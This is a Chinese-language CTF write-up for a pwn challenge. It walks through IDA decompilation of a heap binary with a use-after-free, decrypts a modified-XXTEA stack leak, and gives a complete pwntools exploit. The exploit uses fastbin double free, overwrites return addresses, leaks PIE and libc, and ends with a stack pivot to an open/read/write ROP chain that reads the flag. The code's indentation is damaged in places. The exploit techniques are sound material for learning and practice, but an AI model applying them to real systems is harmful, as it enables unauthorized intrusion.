一、ida分析逻辑

程序只有一个malloc和一个free操作，同时开了沙箱禁用了system

```
__int64 sub_D80()
{
  int v0; // ebx
  void **v1; // rbx
  int nbytes; // [rsp+Ch] [rbp-14h]

  printf("how long?");
  nbytes = sub_1170();
  if ( dword_20204C > 9 || dword_20204C < 0 )
    exit(0);
  if ( nbytes <= 0 || nbytes > 0x68 )
    exit(0);
  v0 = dword_20204C;
  qword_202060[v0] = malloc(0x10uLL);
  v1 = (void **)(qword_202060[dword_20204C] + 8LL);
  *v1 = malloc(nbytes);
  read(0, *(void **)(qword_202060[dword_20204C] + 8LL),
  return (unsigned int)(dword_20204C++ + 1);
}
```

Malloc这里限制了申请的堆块个数为10个，且只能为fastbin

再看看free函数

```

  printf("which one?");
  v0 = sub_1170();
  if ( v0 > 10 || v0 < 0 )
    exit(0);
  if ( qword_202060[v0] )
    free(*(void **)(qword_202060[v0] + 8LL));
}
```

很直白的uaf漏洞

再看下show函数：

```
    exit(0);
  if ( !dword_202050 )
  {
    sub_10E4((__int64)&buf, 16);
    HIDWORD(n) = 51;
    v5 = 18;
    v6 = 120;
    v7 = 36;
    sub_E95(&buf, 16LL, (char *)&n + 4);
    write(1, &buf, 0x10uLL);
    dword_202050 = 1;
  }
}
```

往栈上输入内容，可以泄漏出东西来，这里其实是可以泄漏出栈地址的，但是输出时进行了xxtea的魔改加密，所以需要写脚本对加密的东西进行解密才能输出stack地址。

思路是这样的：

1、先泄漏出栈地址，通过show函数，但是要自己写个xxtea的魔改解密脚本

2、利用uaf进行double free的构造，利用fastbin attack，实现往栈上写内容，改写ret地址的末尾字节为write函数的前2个指令，即偏移为0xce2的位置处，这里有1/16的爆破，这样可以ret时执行write函数：

```
00000000CDF                     mov     rsi, rax        ; buf
00000000CE2                     mov     edi, 1          ; fd
00000000CE7                     mov     eax, 0
00000000CEC                     call    write
00000000CF1                     mov     cs:dword_202050, 1
00000000CFB                     jmp     loc_C05
00000000D00 ; ---------------------------------------------------------------
```

就可以打印出基地址，这样我们可以趁机改写malloc的限制次数，改完后就可以任意申请了。

3、接着继续利用fastbin attack实现劫持栈的ret地址，实现rop操作，泄漏出真实地址

4、再进行fastbin attack实现劫持栈的ret地址，实现rop的栈迁移操作，迁到bss段上，执行open、read、write来打印出我们的flag

完整的exp如下：

```
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 0
elf = ELF('./repwn')
if local:
    p = process('./repwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
```

```
else:
    p = remote('0.0.0.0',3389)
    # libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')
    libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print
$1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))


def malloc(size,content):
    ru("your choice:")
    sl('1')
    ru("how long?")
    sl(str(size))
    sd(content)
def free(index):
    ru("your choice:")
    sl('3')
    ru("which one?")
    sl(str(index))
def show(content):
    ru("your choice:")
    sl('2')
    sl(content)
def edit(index,content):
  ru("Your choice: ")
  sl('4')
  ru("Which book to write?")
  sl(str(index))
  ru("Content: ")
  sl(content)
def double_free_attack(addr,py):
    free(0)
    free(1)
    free(0)

    malloc(0x68,p64(addr))
```

```
    malloc(0x68,"aaaa")
    malloc(0x68,"aaaa")
    malloc(0x68,py)

_DELTA = 0x76129bda
v = []
key = [0x33,0x12,0x78,0x24]
def decrypt(v,n,key):
    n = n-1
    z = v[n]
    y = v[0]
    q = 7 + 35 // (n + 1)
    sum1 = (q * _DELTA) & 0xffffffff
    while (sum1 != 0):
        e = sum1 >> 2 & 3
        for p in xrange(n, 0, -1):
            z = v[p - 1]&0xff
            v[p] =(v[p]-(((z >> 7 ^ y << 3) + (y >> 2 ^ z << 5)-0x21) ^ (sum1
^ y^0x57) + (key[p & 3 ^ e] ^ z)+0x3f)) & 0xff
            y = v[p]
        z = v[n]
        v[0] =(v[0]-(((z >> 7 ^ y << 3) + (y >> 2 ^ z << 5)-0x21) ^ (sum1 ^
y^0x57) + (key[0 & 3 ^ e] ^ z)+0x3f)) & 0xff
        y = v[0]
        sum1 = (sum1 - _DELTA) & 0xffffffff
    return v
def pwn():
    malloc(0x68,"aaaa")
    malloc(0x68,"aaaa")
    malloc(0x68,"aaaa")
    # debug(0xc82)
    show("vv")
    # rc(0x8)
    for i in range(16):
        v.append(u8(rc(1)))
    addr = decrypt(v,0x10,key)
    stack = "0x"
    for i in range(6):
        stack += hex(addr[13-i])[2:]
    print stack
    stack = int(stack,16)
    stack = stack-0xf3
    print "stack--->" + hex(stack)
    # # # debug(0)
    py = "k"*0x28+"\x00"*3+'\xe2\x4c'
    double_free_attack(stack,py)
    rc(0x2b)
    base_addr = u64(rc(8))-0xc06+0xce-0x5a-0x15d-2
    rc(0x35)
```

```
print "base_addr--->" + hex(base_addr)
pop_rdi_ret = base_addr + 0x0000000000001253
pop_rsi_r15_ret = base_addr + 0x0000000000001251
read_plt = base_addr + elf.sym["read"]
write_plt = base_addr + elf.sym["write"]
printf_got = base_addr + elf.got["printf"]
num_addr = base_addr + 0x20204C
main_addr = base_addr + 0x00000000000C05
write_got = base_addr + elf.got["write"]
fake_chunk = stack-0x30
py = ''
py += 'b'*0x28
py += '\x00'*3
py += p64(pop_rdi_ret)
py += p64(0)
py += p64(pop_rsi_r15_ret)
py += p64(num_addr)
py += p64(0)
py += p64(read_plt)
py += p64(main_addr)

double_free_attack(fake_chunk,py)
sd(p64(0))
py = ''
py += 'c'*0x28
py += '\x00'*3
py += p64(pop_rdi_ret)
py += p64(1)
py += p64(pop_rsi_r15_ret)
py += p64(printf_got)
py += p64(0)
py += p64(write_plt)
py += p64(main_addr)

double_free_attack(fake_chunk,py)
libc_base = u64(rc(8))-libc.sym["printf"]
rc(0x60)
print "libc_base--->" + hex(libc_base)
leave_ret = base_addr + 0x0000000000000bc1
pop_rdx_rsi_ret = libc_base + 0x00000000001150c9
# mprotect = libc_base + libc.sym["mprotect"]
# # debug(0)
pop_rbp_ret = 0x00000000000009d0+base_addr
bss = elf.bss()+0x100+base_addr
open_plt = libc_base + libc.sym["open"]
py = ''
py += 'c'*0x28
py += '\x00'*3
py += p64(pop_rdi_ret)
```

```
    py += p64(0)
    py += p64(pop_rdx_rsi_ret)
    py += p64(0x110)
    py += p64(bss)
    py += p64(read_plt)
    py += p64(main_addr)
    # py += p64(bss)

    double_free_attack(fake_chunk,py)
    # pause()
    py = ''
    py += 'aaaaaaaaaaaaa'
    py += p64(pop_rdi_ret)
    py += p64(bss+0x98)
    py += p64(pop_rdx_rsi_ret)
    py += p64(0)
    py += p64(0)
    py += p64(open_plt)
    py += p64(pop_rdi_ret)
    py += p64(3)
    py += p64(pop_rdx_rsi_ret)
    py += p64(0x100)
    py += p64(bss+0x200)
    py += p64(read_plt)
    py += p64(pop_rdi_ret)
    py += p64(1)
    py += p64(pop_rdx_rsi_ret)
    py += p64(0x100)
    py += p64(bss+0x200)
    py += p64(write_plt)
    py += "./flag\x00\x00"
    sd(py)
    # pause()
    py = ''
    py += 'c'*0x28
    py += '\x00'*3
    py += p64(pop_rbp_ret)
    py += p64(bss)
    py += p64(leave_ret)
    # debug(0xe9a)
    # debug(0x000000000000E5D)
    double_free_attack(fake_chunk,py)
pwn()
# i = 0
# while 1:
#     print i
#     i += 1
#     try:
#         pwn()
```

```
#     except EOFError:
#         p.close()
#         local = 1
#         elf = ELF('./re_pwn')
#         if local:
#             p = process('./re_pwn')
#             libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#             continue
#         else:
#             p = remote('127.0.0.1',8888)
#             libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#     else:
#         sl("ls")
#         break
p.interactive()
```

最后的栈迁移时，那个起始的点不是8字节，而是13字节，需要自己手动调整下，bss上栈布局发生了变化。